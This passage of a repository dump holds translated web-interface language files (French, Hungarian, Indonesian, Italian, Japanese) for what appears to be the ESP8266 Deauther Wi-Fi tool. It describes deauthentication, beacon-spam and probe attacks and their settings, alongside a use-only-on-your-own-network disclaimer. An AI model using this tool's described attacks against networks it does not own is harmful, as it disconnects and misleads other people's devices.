\"setting_maxch\": \"Nb Max. de canaux à scanner.\\nUS = 11, EU = 13, Japon = 14.\",\n  \"setting_macAP\": \"Adresse MAC utilisée par le  mode point d’accès.\\nNote: ne remplace que l'adresse MAC interne quand le mode point d’accès est actif.\",\n  \"setting_macSt\": \"Adresse MAC utilisée par le mode station.\\nNote: ne remplace que l'adresse MAC interne quand le mode station est actif.\",\n  \"setting_chtime\": \"Temps passé à scanner un channel en millisecondes (seulement si le saut de channel est activé).\",\n  \"setting_minDeauths\": \"Nombre minimum de trames de désauthentification détectées pendant le scan pour passer la LED en mode deauth.\",\n  \"setting_attacktimeout\": \"Au bout de combien de secondes l'attaque doit stopper.\\nRenseigner 0 pour désactiver la limite.\",\n  \"setting_forcepackets\": \"Nombre d'essais pour chaque envoi de paquet.\\nRenseigner une valeur plus haute dans les zones saturées.\\nCe paramètre peut aussi ralentir l'appareil, voire le rendre inutilisable.\\nToujours renseigner une valeur Entre 0 et 255 !\",\n  \"setting_deauthspertarget\": \"Combien de trames de désauthentification et dissociation sont envoyées à chaque cible.\",\n  \"setting_deauthReason\": \"Le code 'raison' (ou mot d'excuse) qui est envoyé avec toutes les trames de désauthentification et qui précise pourquoi la connection va être fermée.\",\n  \"setting_beaconchannel\": \"Affecte l'attaque Balise en distribuant les paquets sur différents channels.\",\n  \"setting_beaconInterval\": \"Actif: envoie des balises toutes les secondes. Inactif: envoie des balises tous les 100ms.\\nPlus l'intervalle est grand plus l'ESP reste stable, et mois les effets de l'attaque se font sentir.\",\n  \"setting_randomTX\": \"Fait varier la puissance de transmission en mode balise, sonde ou demande de sonde.\",\n  \"setting_probesPerSSID\": \"Combien de demandes de sondes sont envoyées pour chaque SSID.\",\n  \"setting_lang\": \"Langage par défaut dans l'interface web.\\nAssurez vous que le fichier de langage existe !\"\n}\n"
  },
  {
    "path": "web_interface/lang/hu.lang",
    "content": "{\r\n    \"lang\": \"hu\",\r\n    \"warning\": \"FIGYELMEZTETÉS\",\r\n    \"disclaimer\": \"Ez a projekt egy koncepció bizonyítása tesztelés, és tanulmányozás érdekében.\\nSem az ESP8266-ot, sem annak SDK-ját nem szánták, vagy építették ilyen célokra. Hibák előfordulhatnak!\\n\\nCsak a saját hálózata, és eszközei ellen használja!\\n\\nA projekt valódi Wi-Fi frame-eket használ az IEEE 802.11 szabványban leírtak alapján, és nem blokkol, vagy zavar semmilyen frekvenciát.\\nKérem ellenőrizze az országára vonatkozó jogi szabályozásokat a használat előtt!\\n\\nNe hivatkozzon a projektre mint \\\"jelzavaró\\\", az teljesen aláássa a projekt valódi célját!\\nHa mégis, az csak azt bizonyítja, hogy semmit sem értett abból, amit ez a projekt képvisel.\\nTartalom közzététele a megfelelő magyarázat nélkül, azt mutatja, hogy csak a kattintásokért, hírnévért, és/vagy pénzért csinálja, és nem tiszteli a szellemi tulajdont, a mögötte álló közösséget, valamint a harcot a jobb WiFi szabványért.\\n\\nTovábbi információért látogasson el az alábbi oldalra:\",\r\n\t\"disclaimer-button\": \"Elolvastam, és megértettem a fenti figyelmeztetést\",\r\n\t\"reload\": \"Újratöltés\",\r\n\t\"scan\": \"Szkennelés\",\r\n\t\"ssids\": \"SSID-k\",\r\n\t\"attacks\": \"Támadások\",\r\n\t\"settings\": \"Beállítások\",\r\n\t\"info\": \"Információ\",\r\n\t\"info_span\": \"INFORMÁCIÓ: \",\r\n\t\"all\": \"ÖSSZES\",\r\n\t\"channel\": \"Csatorna\",\r\n\t\"devices\": \"Mentett Eszközök\",\r\n\t\"select_all\": \"ÖSSZES Kiválasztása\",\r\n\t\"deselect_all\": \"ÖSSZES Kiválasztásának Visszavonása\",\r\n\t\"remove_all\": \"ÖSSZES Eltávolítása\",\r\n\t\"station_scan_time\": \"Állomáskeresési Idő\",\r\n\t\"new\": \"Új\",\r\n\t\"save\": \"Mentés\",\r\n\t\"add\": \"Hozzáadás\",\r\n\t\"add_selected\": \"Kiválasztott AP-k Klónozása\",\r\n\t\"overwrite\": \"Felülírás\",\r\n\t\"time_interval\": \"Időintervallum\",\r\n\t\"number\": \"Szám\",\r\n\t\"targets\": \"Célpontok\",\r\n\t\"scan_info\": \"- Kattintson a Szkennelésre, és várjon amíg a kék LED az alaplapján kikapcsol (vagy zöldre vált), majd kattintson az Újratöltésre!\\n- A webes felület nem lesz elérhető az állomáskeresés során, és újra csatlakozni kell!\\n- Kérem csak egy célpontot válasszon!\\n\",\r\n\t\"ssids_info\": \"- Ez az SSID lista a beacon, és a probe támadásoknál lesz használva.\\n- Egy SSID maximum 32 karakter hosszú lehet.\\n- Ne felejtsen el a Mentésre kattintani az SSID módosítása után.\\n- Az SSID-k klónozása után az Újrtöltés gombra kell kattintani.\\n\",\r\n\t\"attack_info\": \"- Lehetséges, hogy a támadás megkezdése után elveszíti a kapcsolatot!\\n- Ki kell választania a célpontot a deauth támadáshoz.\\n- Szükséges egy elmentett SSID a beacon, és a probe támadáshoz.\\n- A csomagsebesség frissítéséhez kattintson az Újratöltés gombra.\\n\",\r\n\t\"settings_info\": \"- Néhány beállítás újraindítást igényel.\\n- Kattintson a Mentésre, hogy meggyőződjön arról, hogy a módosításai alkalmazva lettek.\\n\",\r\n\t\"info_disclaimer\": \"Váratlan hiba esetén töltse be újra a webhelyet, és nézze meg a soros monitort a további hibakeresés érdekében.\",\r\n\t\"start_stop\": \"START / STOP\",\r\n\t\"start\": \"START\",\r\n\t\"stop\": \"STOP\",\r\n\t\"wifi_off\": \"WiFi Kikapcsolása\",\r\n\t\"reboot\": \"Újraindítás\",\r\n\t\"reset\": \"Visszaállítás\",\r\n\t\"enable_random\": \"Véletlenszerű Mód Engedélyezése\",\r\n\t\"disable_random\": \"Véletlenszerű Mód Letiltása\",\r\n\t\"random_desc\": \"Engedélyezze a véletlenszerű módot egy véletlenszerű SSID lista generálásához egy adott intervallumban.\",\r\n\t\"deauth_desc\": \"Bezárja a WiFi eszközök kapcsolatát azáltal, hogy deauthentication frame-ket küld a kiválasztott hozzáférési pontokhoz és kliens eszközökhöz.\\nEz csak azért lehetséges, mert sok eszköz nem használja a 802.11w-2009 szabványt, amely védelmet nyújt a támadás ellen.\\n- Kérem csak egy célpontot válasszon! Amikor több célpontot választ ki, amelyek különböző csatornákon futnak, és elindítja a támadást, az gyorsan váltani fog ezen csatornák között, és nincs esélye újból csatlakozni a webes felülethez.\\n\",\r\n\t\"beacon_desc\": \"Beacon csomagokat használnak a hozzáférési pontok hirdetéséhez. A beacon csomagok folyamatos küldésével úgy fog kinézni, mintha új WiFi hálózatokat hozott volna létre.\\nBetudja állítani a hálózatok neveit SSID-ként.\",\r\n\t\"probe_desc\": \"A kliensek probe kéréseket küldenek, hogy megkérdezzék, van-e ismert hálózat a közelben.\\nEzzel a támadással megzavarhatja a WiFi követőket azáltal, hogy az SSID listában megadott hálózatokat kéri.\\nNem valószínű, hogy az otthoni hálózattal bármilyen hatást fog tapasztalni, ha ezt a támadást használja.\",\r\n\t\"setting_version\": \"Verziószám, pl. v2.0.\\nEz a beállítás csak a forráskódból módosítható.\",\r\n\t\"setting_ssid\" : \"A webes felülethez használt hozzáférési pont SSID-je (ha engedélyezve van).\\nA hossznak 1 és 31 karakter között kell lennie.\",\r\n\t\"setting_password\": \"A webes felülethez használt hozzáférési pont jelszava (ha engedélyezve van).\\nA hossznak 8 és 31 karakter között kell lennie.\",\r\n\t\"setting_channel\": \"Az indításkor használt alapértelmezett WiFi-csatorna.\",\r\n\t\"setting_hidden\": \"Elrejti a webes felülethez használt hozzáférési pontot (ha engedélyezve van).\",\r\n\t\"setting_captivePortal\": \"Engedélyezi a captive portal-t a hozzáférési ponthoz (ha engedélyezve van).\",\r\n\t\"setting_autosave\": \"Engedélyezi az SSID-k, eszköznevek és beállítások automatikus mentését.\",\r\n\t\"setting_autosavetime\": \"Időintervallum az automatikus mentésre milliszekundumban\",\r\n\t\"setting_display\": \"Engedélyezi a kijelző felületét.\",\r\n\t\"setting_displayTimeout\": \"Idő másodpercben, amely után a kijelző inaktív állapotban kikapcsol.\\nA megjelenítési időkorlát letiltásához állítsa 0-ra.\",\r\n\t\"setting_serial\": \"Engedélyezi a soros felületet.\\nNem ajánlott letiltani!\",\r\n\t\"setting_serialEcho\": \"Engedélyezi az echo-t minden soros úton érkező üzenetre.\",\r\n\t\"setting_web\": \"Engedélyezi a webes felületet.\",\r\n\t\"setting_webSpiffs\": \"Engedélyezi a SPIFFS-et az összes web fájlhoz.\",\r\n\t\"setting_led\": \"Engedélyezi az (RGB) LED funciót.\",\r\n\t\"setting_maxch\": \"Max. csatorna szkennelésre.\\nUS = 11, EU = 13, Japán = 14.\",\r\n\t\"setting_macAP\": \"A hozzáférési pont módhoz használt MAC-cím.\\nFelhívjuk figyelmét, hogy a MAC-cím csak akkor helyettesíti a belső MAC-címet, ha az hozzáférési pont mód engedélyezve van.\",\r\n\t\"setting_macSt\": \"Az állomás módhoz használt MAC-cím.\\nFelhívjuk figyelmét, hogy a MAC-cím csak akkor váltja fel a belső MAC-címet, ha az állomás mód engedélyezve van.\",\r\n\t\"setting_chtime\": \"Egy csatorna szkennelésének ideje ezredmásodpercben, mielőtt lépne a következőre (csak akkor, ha a csatornaugrás engedélyezve van).\",\r\n\t\"setting_minDeauths\": \"A deauthentication frame-ek minimális száma szkenneléskor a LED deauth módra váltásához.\",\r\n\t\"setting_attacktimeout\": \"Ennyi idő múlva (másodpercben) automatikusan leáll a támadás.\\nA letiltáshoz állítsa 0-ra.\",\r\n\t\"setting_forcepackets\": \"Ahány alkalommal megpróbál csomagot küldeni.\\nÁllítsa ezt az értéket magasabbra, ha jobb csomagsebességet szeretne elérni egy forgalmas területen.\\nLegyen óvatos, ez a beállítás lassabbá vagy instabilabbá teheti a készüléket.\\nMax. érték 255!\",\r\n\t\"setting_deauthspertarget\": \"Hány deauthentication és disassociation frame lett elküldve célpontonként.\",\r\n\t\"setting_deauthReason\": \"Az okkód, amelyet a deauth frame-ekkel küldenek, hogy megmondja a céleszköznek, miért záródik le a kapcsolat.\",\r\n\t\"setting_beaconchannel\": \"Ha engedélyezve van, akkor az összes frame-et különböző csatornákon küldi el beacon támadás futtatásakor.\",\r\n\t\"setting_beaconInterval\": \"Ha igaz, a beacon frame-ek másodpercenként kerülnek kiküldésre. Ha hamisra állítja, az intervallum 100 ms lesz.\\nHosszabb intervallum nagyobb stabilitást és kevesebb csomag spam-et jelent, de hosszabb ideig tarthat, amíg a kliensek megtalálják az SSID-ket szkennelés során.\",\r\n\t\"setting_randomTX\": \"Engedélyezi a véletlenszerű átviteli teljesítményt a beacon, és probe request frame-ek küldéséhez.\",\r\n\t\"setting_probesPerSSID\": \"Ennyi probe request frame lett elküldve minden egyes SSID-nek.\",\r\n\t\"setting_lang\": \"A webes felület alapértelmezett nyelve.\\nGyőződjön meg arról, hogy létezik a nyelvi fájl!\"\r\n}"
  },
  {
    "path": "web_interface/lang/in.lang",
    "content": "{\n    \"lang\": \"in\",\n    \"warning\": \"PERINGATAN\",\n    \"disclaimer\": \"Proyek ini adalah bukti konsep untuk pengujian dan tujuan pendidikan.\\nBaik ESP8266 maupun SDK-nya tidak dimaksudkan atau dibuat untuk tujuan tersebut. Bug bisa terjadi!\\n\\nGunakan hanya untuk jaringan dan perangkat Anda sendiri!\\n\\nIni menggunakan bingkai Wi-Fi valid yang dijelaskan dalam standar IEEE 802.11 dan tidak memblokir atau mengganggu frekuensi apa pun.\\nHarap periksa peraturan hukum di negara Anda sebelum menggunakannya.\\n\\nHarap jangan merujuk proyek ini sebagai \\\"jammer\\\", yang benar-benar merusak tujuan sebenarnya dari proyek ini!\\nJika Anda melakukannya, itu hanya membuktikan bahwa Anda tidak memahami apa pun tentang apa tujuan proyek ini.\\nMenerbitkan konten tentang ini tanpa penjelasan yang tepat menunjukkan bahwa Anda hanya melakukannya untuk klik, ketenaran dan/atau uang dan tidak menghormati kekayaan intelektual, komunitas di baliknya, dan perjuangan untuk standar WiFi yang lebih baik.\\n\\nUntuk informasi lebih lanjut kunjungi:\",\n\t\"disclaimer-button\": \"Saya telah membaca dan memahami pemberitahuan di atas\",\n\t\"reload\": \"Muat ulang\",\n\t\"scan\": \"Pindai\",\n\t\"ssids\": \"SSID\",\n\t\"attacks\": \"Serangan\",\n\t\"settings\": \"Pengaturan\",\n\t\"info\": \"Info\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Semua\",\n\t\"channel\": \"Channel\",\n\t\"devices\": \"Perangkat Tersimpan\",\n\t\"select_all\": \"Pilih Semua\",\n\t\"deselect_all\": \"Hapus Semua\",\n\t\"remove_all\": \"Menghapus semua\",\n\t\"station_scan_time\": \"Station Scan Time\",\n\t\"new\": \"Baru\",\n\t\"save\": \"Simpan\",\n\t\"add\": \"Tambah\",\n\t\"add_selected\": \"Gandakan AP yang dipilih\",\n\t\"overwrite\": \"Timpa\",\n\t\"time_interval\": \"Jarak waktu\",\n\t\"number\": \"Jumlah\",\n\t\"targets\": \"Target\",\n\t\"scan_info\": \"- Klik Scan dan tunggu sampai LED biru di papan Anda mati (atau berubah menjadi hijau), kemudian klik Reload.\\n- Antarmuka web tidak akan tersedia selama pemindaian stasiun dan Anda harus terhubung kembali!\\n- Pilih hanya satu target!\\n\",\n\t\"ssids_info\": \"- Daftar SSID ini digunakan untuk serangan beacon dan probe.\\n- Setiap SSID bisa sampai 32 karakter.\\n- Jangan lupa untuk mengklik simpan saat Anda mengedit SSID.\\n- Anda harus mengklik Muat Ulang setelah mengkloning SSID.\\n\",\n\t\"attack_info\": \"- Anda mungkin kehilangan koneksi saat memulai serangan!\\n- You need to select a target for the deauth attack.\\n- Anda perlu memilih target untuk serangan deauth.\\n- Klik muat ulang untuk menyegarkan kecepatan paket.\\n\",\n\t\"settings_info\": \"- Beberapa pengaturan memerlukan boot ulang.\\n- Klik simpan untuk memastikan bahwa perubahan Anda diterapkan.\\n\",\n\t\"info_disclaimer\": \"Jika terjadi kesalahan tak terduga, muat ulang situs dan lihat monitor serial untuk debugging lebih lanjut.\",\n\t\"start_stop\": \"MULAI / BERHENTI\",\n\t\"start\": \"MULAI\",\n\t\"stop\": \"BERHENTI\",\n\t\"wifi_off\": \"WiFi Mati\",\n\t\"reboot\": \"Nyalakan Ulang\",\n\t\"reset\": \"Setel ulang\",\n\t\"enable_random\": \"Aktifkan Mode Acak\",\n\t\"disable_random\": \"Nonaktifkan Mode Acak\",\n\t\"random_desc\": \"Aktifkan mode acak untuk menghasilkan daftar SSID acak dalam interval tertentu.\",\n\t\"deauth_desc\": \"Menutup koneksi perangkat WiFi dengan mengirimkan bingkai pembatalan otentikasi ke titik akses dan perangkat klien yang Anda pilih.\\nIni hanya mungkin karena banyak perangkat tidak menggunakan standar 802.11w-2009 yang menawarkan perlindungan terhadap serangan ini.\\n- Harap hanya pilih satu target! Saat Anda memilih beberapa target yang berjalan di saluran yang berbeda dan memulai serangan, itu akan dengan cepat beralih di antara saluran tersebut dan Anda tidak memiliki kesempatan untuk menyambung kembali ke antarmuka web.\\n\",\n\t\"beacon_desc\": \"Paket beacon digunakan untuk mengiklankan titik akses. Dengan terus mengirimkan paket beacon, sepertinya Anda membuat jaringan WiFi baru.\\nAnda dapat menentukan nama jaringan di bawah SSID.\",\n\t\"probe_desc\": \"Permintaan penyelidikan dikirim oleh perangkat klien untuk menanyakan apakah ada jaringan yang dikenal di sekitar.\\nGunakan serangan ini untuk membingungkan pelacak WiFi dengan menanyakan jaringan yang Anda tentukan dalam daftar SSID.\\nSepertinya Anda tidak akan melihat dampak apa pun dari serangan ini dengan jaringan rumah Anda.\",\n\t\"setting_version\": \"Nomor versi, yaitu v2.0.\\nPengaturan ini hanya dapat diubah di kode sumber.\",\n\t\"setting_ssid\" : \"SSID titik akses yang digunakan untuk antarmuka web (jika diaktifkan).\\nPanjangnya harus antara 1 dan 31 karakter.\",\n\t\"setting_password\": \"Kata sandi titik akses yang digunakan untuk antarmuka web (jika diaktifkan).\\nPanjangnya harus antara 8 dan 31 karakter.\",\n\t\"setting_channel\": \"Saluran WiFi default yang digunakan saat memulai.\",\n\t\"setting_hidden\": \"Menyembunyikan titik akses yang digunakan untuk antarmuka web (jika diaktifkan).\",\n\t\"setting_captivePortal\": \"Mengaktifkan portal tawanan untuk titik akses (jika diaktifkan).\",\n\t\"setting_autosave\": \"Memungkinkan penyimpanan otomatis SSID, nama perangkat, dan pengaturan.\",\n\t\"setting_autosavetime\": \"Interval waktu untuk penyimpanan otomatis dalam milidetik.\",\n\t\"setting_display\": \"Mengaktifkan antarmuka tampilan.\",\n\t\"setting_displayTimeout\": \"Waktu dalam detik setelah layar mati saat tidak aktif.\\nUntuk menonaktifkan waktu tunggu tampilan, setel ke 0.\",\n\t\"setting_serial\": \"Mengaktifkan antarmuka serial.\\nDianjurkan untuk tidak menonaktifkannya!\",\n\t\"setting_serialEcho\": \"Mengaktifkan echo untuk setiap pesan masuk melalui serial.\",\n\t\"setting_web\": \"Mengaktifkan antarmuka web.\",\n\t\"setting_webSpiffs\": \"Mengaktifkan SPIFFS untuk semua file web.\",\n\t\"setting_led\": \"Mengaktifkan fitur LED (RGB).\",\n\t\"setting_maxch\": \"Max. saluran untuk memindai.\\nUS = 11, EU = 13, Jepang = 14.\",\n\t\"setting_macAP\": \"Alamat MAC yang digunakan untuk mode titik akses.\\nHarap dicatat bahwa alamat MAC hanya akan menggantikan alamat MAC internal ketika mode titik akses diaktifkan.\",\n\t\"setting_macSt\": \"Alamat MAC yang digunakan untuk mode stasiun.\\nHarap dicatat bahwa alamat MAC hanya akan menggantikan alamat MAC internal ketika mode stasiun diaktifkan.\",\n\t\"setting_chtime\": \"Waktu untuk memindai satu saluran sebelum menuju saluran berikutnya dalam milidetik (hanya jika lompatan saluran diaktifkan).\",\n\t\"setting_minDeauths\": \"Jumlah minimum bingkai pembatalan otentikasi saat memindai untuk mengubah LED ke mode pembatalan.\",\n\t\"setting_attacktimeout\": \"Setelah berapa lama (dalam detik) serangan akan berhenti secara otomatis.\\nSetel ke 0 untuk menonaktifkannya.\",\n\t\"setting_forcepackets\": \"Berapa banyak percobaan untuk mengirim sebuah paket.\\nTetapkan nilai ini lebih tinggi jika Anda ingin mendapatkan kecepatan paket yang lebih baik di area sibuk.\\nHati-hati pengaturan ini dapat membuat perangkat lebih lambat atau lebih tidak stabil.\\nNilai maks 255!\",\n\t\"setting_deauthspertarget\": \"Berapa banyak frame deauthentication dan disassociation yang dikirim untuk setiap target.\",\n\t\"setting_deauthReason\": \"Kode alasan yang dikirim dengan frame deauth untuk memberi tahu perangkat target mengapa koneksi akan ditutup.\",\n\t\"setting_beaconchannel\": \"Jika diaktifkan, akan mengirim semua bingkai di saluran yang berbeda saat menjalankan serangan suar.\",\n\t\"setting_beaconInterval\": \"Jika disetel benar, beacon akan dikirim setiap detik. Jika disetel ke false, interval akan menjadi 100 md.\\nInterval yang lebih lama berarti lebih banyak stabilitas dan lebih sedikit spamming paket, tetapi bisa memakan waktu lebih lama hingga klien menemukan ssids saat memindai.\",\n\t\"setting_randomTX\": \"Mengaktifkan daya transmisi acak untuk mengirimkan bingkai permintaan beacon dan probe.\",\n\t\"setting_probesPerSSID\": \"Berapa banyak frame permintaan probe yang dikirim untuk setiap SSID.\",\n\t\"setting_lang\": \"Bahasa default untuk antarmuka web.\\nPastikan file bahasa ada!\"\n}"
  },
  {
    "path": "web_interface/lang/it.lang",
    "content": "{\n  \"lang\": \"it\",\n  \"warning\": \"AVVERTIMENTO\",\n\t\"disclaimer\": \"Questo progetto è una prova di concetto per scopi di test e didattici. \\nNè l'ESP8266, né il relativo SDK sono stati progettati o costruiti per tali scopi. \\n\\nUtilizza i frame Wi-Fi validi descritti nello standard IEEE 802.11 e non bloccare o interrompere alcuna frequenza. \\nSi prega di verificare le normative legali del proprio paese prima di utilizzarlo. \\n\\nSi prega di non fare riferimento a questo progetto come \\\"jammer\\\", questo mina totalmente il vero scopo di questo progetto!\\nSe lo fai, dimostri solo che non hai capito nulla di ciò che questo progetto rappresenta. \\nPubblicare il contenuto senza una spiegazione adeguata dimostra che lo fai solo per clic, fama e/o denaro e non ha alcun rispetto per la proprietà intellettuale, la comunità dietro di esso e la lotta per un migliore standard WiFi. \\n\\nPer maggiori informazioni visita:\",\n\t\"disclaimer-button\": \"Ho letto e capito l'avviso di cui sopra\",\n\t\"reload\": \"Ricaricare\",\n\t\"scan\": \"scansione\",\n\t\"ssids\": \"SSIDs\",\n\t\"attacks\": \"Attacchi\",\n\t\"settings\": \"Impostazioni\",\n\t\"info\": \"Informazioni\",\n\t\"info_span\": \"INFO: \",\n\t\"all\": \"Tutti\",\n\t\"channel\": \"Canale\",\n\t\"devices\": \"Dispositivi salvati\",\n\t\"select_all\": \"Seleziona Tutto\",\n\t\"deselect_all\": \"Deseleziona Tutto\",\n\t\"remove_all\": \"Rimuovi Tutto\",\n\t\"station_scan_time\": \"Tempo di scansione della stazione\",\n\t\"new\": \"Nuovo\",\n\t\"save\": \"Salvare\",\n\t\"add\": \"Inserisci\",\n\t\"add_selected\": \"Clona gli APs selezionati\",\n\t\"overwrite\": \"Sovrascrivere\",\n\t\"time_interval\": \"Intervallo di tempo\",\n\t\"number\": \"Numero\",\n\t\"targets\": \"Obiettivi\",\n\t\"scan_info\": \"- Fai clic su Scansione e attendi fino a quando il LED blu sulla scheda si spegne (o diventa verde), quindi fai clic su Ricarica.\\n- L'interfaccia web non sarà disponibile durante la scansione di una stazione e dovrai riconnetterti!\\n- Seleziona solo un obiettivo!\\n\",\n\t\"ssids_info\": \"- Questo elenco SSID viene utilizzato per l'attacco beacon e probe.\\n- Ogni SSID può contenere fino a 32 caratteri.\\n- Non dimenticare di fare clic su Salva quando hai modificato un SSID.\\n- Devi fare clic su Ricarica dopo la clonazione SSID.\\n\",\n\t\"attack_info\": \"- Potresti perdere la connessione quando avvii un attacco!\\n- Devi selezionare un bersaglio per l'attacco deauth.\\n- Hai bisogno di un SSID salvato per l'attacco beacon e l'attacco Probe.\\n- Fai clic su ricarica per aggiornare la velocità del pacchetto.\\n\",\n\t\"settings_info\": \"- Alcune impostazioni richiedono un riavvio.\\n- Fai clic su Salva per assicurarti che le modifiche siano applicate.\\n\",\n\t\"info_disclaimer\": \"In caso di errore imprevisto, ricarica il sito e controlla il monitor seriale per ulteriori debug.\",\n\t\"start_stop\": \"AVVIO / STOP\",\n\t\"start\": \"AVVIO\",\n\t\"stop\": \"STOP\",\n\t\"wifi_off\": \"WiFi Off\",\n\t\"reboot\": \"Riavvio\",\n\t\"reset\": \"Reset\",\n\t\"enable_random\": \"Abilita la modalità casuale\",\n\t\"disable_random\": \"Disabilita la modalità casuale\",\n\t\"random_desc\": \"Abilitare la modalità casuale per generare un elenco SSID casuale in un dato intervallo.\",\n\t\"deauth_desc\": \"Chiude la connessione dei dispositivi WiFi inviando i frame di deautenticazione agli access point e ai dispositivi client selezionati.\\nQuesto è possibile solo perché molti dispositivi non utilizzano lo standard 802.11w-2009 che offre una protezione contro questo attacco.\\n- Si prega di selezionare solo un bersaglio! Quando selezioni più bersagli che vengono eseguiti su canali diversi e avvii l'attacco, passerà rapidamente da questi canali e non avrai alcuna possibilità di riconnetterti all'interfaccia web.\\n\",\n\t\"beacon_desc\": \"I pacchetti beacon vengono utilizzati per pubblicizzare i punti di accesso. Inviando continuamente pacchetti di beacon, sembrerà che tu abbia creato nuove reti WiFi.\\nÈ possibile specificare i nomi di rete sotto SSID.\",\n\t\"probe_desc\": \"Le richieste di probe vengono inviate dai dispositivi client per chiedere se una rete nota si trova nelle vicinanze.\\nUtilizzare questo attacco per confondere i tracker WiFi chiedendo le reti specificate nell'elenco SSID.\\nÈ improbabile che non vedrete alcun impatto da questo attacco con la vostra rete Casalinga.\",\n\t\"setting_version\": \"Numero di versione, ad esempio v2.0.\\nQuesta impostazione può essere modificata solo nel codice sorgente.\",\n\t\"setting_ssid\" : \"SSID del punto di accesso utilizzato per l'interfaccia Web (se abilitato).\\nLa lunghezza deve essere compresa tra 1 e 31 caratteri.\",\n\t\"setting_password\": \"Password del punto di accesso utilizzata per l'interfaccia Web (se abilitata).\\nLa lunghezza deve essere compresa tra 8 e 31 caratteri.\",\n\t\"setting_channel\": \"Canale WiFi predefinito che viene utilizzato all'avvio.\",\n\t\"setting_hidden\": \"Nasconde il punto di accesso utilizzato per l'interfaccia Web (se abilitato).\",\n\t\"setting_captivePortal\": \"Abilita il captive portal per il punto di accesso (se abilitato).\",\n\t\"setting_autosave\": \"Abilita il salvataggio automatico di SSID, nomi di dispositivi e impostazioni.\",\n\t\"setting_autosavetime\": \"Intervallo di tempo per il salvataggio automatico in millisecondi.\",\n\t\"setting_display\": \"Abilita l'interfaccia display.\",\n\t\"setting_displayTimeout\": \"Tempo in secondi dopo il quale il display si spegne quando inattivo.\\nPer disabilitare il timeout del display, impostarlo su 0.\",\n\t\"setting_serial\": \"Abilita l'interfaccia seriale.\\nSi consiglia di non disattivarlo!\",\n\t\"setting_serialEcho\": \"Abilita la ripetizione per ogni messaggio in arrivo su seriale.\",\n\t\"setting_web\": \"Abilita l'interfaccia web.\",\n\t\"setting_webSpiffs\": \"Abilita SPIFFS per tutti i file Web.\",\n\t\"setting_led\": \"Abilita la funzione LED (RGB).\",\n\t\"setting_maxch\": \"Max. canale su cui eseguire la scansione.\\nUS = 11, EU = 13, Japan = 14.\",\n\t\"setting_macAP\": \"Indirizzo MAC utilizzato per la modalità punto di accesso.\\nSi noti che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità punto di accesso è abilitata.\",\n\t\"setting_macSt\": \"Indirizzo MAC utilizzato per la modalità stazione.\\nSi prega di notare che l'indirizzo MAC sostituirà solo l'indirizzo MAC interno quando la modalità stazione è abilitata.\",\n\t\"setting_chtime\": \"Tempo di scansione di un canale prima di passare al successivo in millisecondi (solo se il passaggio del canale è abilitato).\",\n\t\"setting_minDeauths\": \"Numero minimo di frame di deautenticazione durante la scansione per cambiare la modalità LED in Deauth.\",\n\t\"setting_attacktimeout\": \"Dopo quanto tempo (in secondi) l'attacco si fermerà automaticamente.\\nImpostalo su 0 per disabilitarlo.\",\n\t\"setting_forcepackets\": \"Quanti tentativi di invio di un pacchetto.\\nImpostare questo valore più alto se si desidera ottenere una migliore velocità di pacchetto in un'area occupata.\\nAttenzione che questa impostazione può rendere il dispositivo più lento o più instabile.\\nIl valore massimo è 255!\",\n\t\"setting_deauthspertarget\": \"Quanti frame di deautenticazione e disassociazione vengono inviati per ciascun target.\",\n\t\"setting_deauthReason\": \"Il codice motivo che viene inviato con i frame deauth per dire al dispositivo di destinazione perché la connessione verrà chiusa.\",\n\t\"setting_beaconchannel\": \"Se abilitato, invierà tutti i frame su diversi canali durante l'esecuzione di un attacco beacon.\",\n\t\"setting_beaconInterval\": \"Se impostato vero, i beacon verranno inviati ogni secondo. Se impostato su falso, l'intervallo sarà 100 ms.\\nUn intervallo più lungo significa maggiore stabilità e meno spamming dei pacchetti, ma potrebbe richiedere più tempo fino a quando i client trovano gli SSID durante la scansione.\",\n\t\"setting_randomTX\": \"Abilita potenza di trasmissione randomizzata per l'invio di richieste frames di beacon e probe.\",\n\t\"setting_probesPerSSID\": \"Quanti frames di richiesta probe vengono inviati per ciascun SSID.\",\n\t\"setting_lang\": \"Lingua predefinita per l'interfaccia Web.\\nAssicurarsi che il file della lingua esista!\"\n}\n"
  },
  {
    "path": "web_interface/lang/ja.lang",
    "content": "{\n    \"lang\": \"ja\",\n    \"warning\": \"警告\",\n    \"disclaimer\": \"このプロジェクトはテスト及び学術的な目的の概念実証です。\\nESP8266及び、そのSDKは、このような目的のためのものではないため。バグがあるかもしれません。\\n\\n所有するデバイスとネットワークに対してのみ使用してください。\\n\\nIEEE 802.11標準に記述された有効なWi-Fiフレームを用いており、遮断及び周波数の攪乱ではありません。\\n使用する前に自国内の法規を確認してください。\\n\\nこのプロジェクトでの\\\"妨害\\\"を意図しないでください。それはこのプロジェクト本来の目的に反するものです。\\nこのプロジェクトが意味するところを何も理解できていないことが証明されるだけです。\\n適切な説明をせず、これに関するコンテンツを配布することは、クリックや名声・金銭目的の為であり、知的財産とその背後にあるコミュニティとWiFi標準を良くしていくための戦いに敬意を示さない事になります。\\n\\n詳細はこちらから:\",\n\t\"disclaimer-button\": \"私は告示を読んで理解しました\",\n\t\"reload\": \"再読込\",\n\t\"scan\": \"スキャン\",\n\t\"ssids\": \"SSID\",\n\t\"attacks\": \"攻撃\",\n\t\"settings\": \"設定\",\n\t\"info\": \"情報\",\n\t\"info_span\": \"情報: \",\n\t\"all\": \"全て\",\n\t\"channel\": \"チャンネル\",\n\t\"devices\": \"保存済みデバイス\",\n\t\"select_all\": \"全選択\",\n\t\"deselect_all\": \"全選択解除\",\n\t\"remove_all\": \"全削除\",\n\t\"station_scan_time\": \"ステーションのスキャン時間\",\n\t\"new\": \"新規\",\n\t\"save\": \"保存\",\n\t\"add\": \"追加\",\n\t\"add_selected\": \"選択APを複製\",\n\t\"overwrite\": \"上書\",\n\t\"time_interval\": \"間隔\",\n\t\"number\": \"番号\",\n\t\"targets\": \"対象\",\n\t\"scan_info\": \"- SCANを押下してボード上の青色LED(充電中は緑色)が消灯してから、RELOADを押下します。\\n- ステーションのスキャン中は再接続までWebインターフェイスを使用できません!\\n- 対象を1つだけ選択してください。\\n\",\n\t\"ssids_info\": \"- このSSIDリストはビーコンと探査攻撃に使用されます。\\n- SSIDは最大32文字まで。\\n- SSIDを編集した時は忘れずに保存してください。\\n- SSIDを複製した後は再読み込みしてください。\\n\",\n\t\"attack_info\": \"- 攻撃開始により接続が失われることがあります。\\n- 認証解除攻撃には対象を選択する必要があります。\\n- ビーコン・探査攻撃にはSSIDの保存が必要です。\\n- 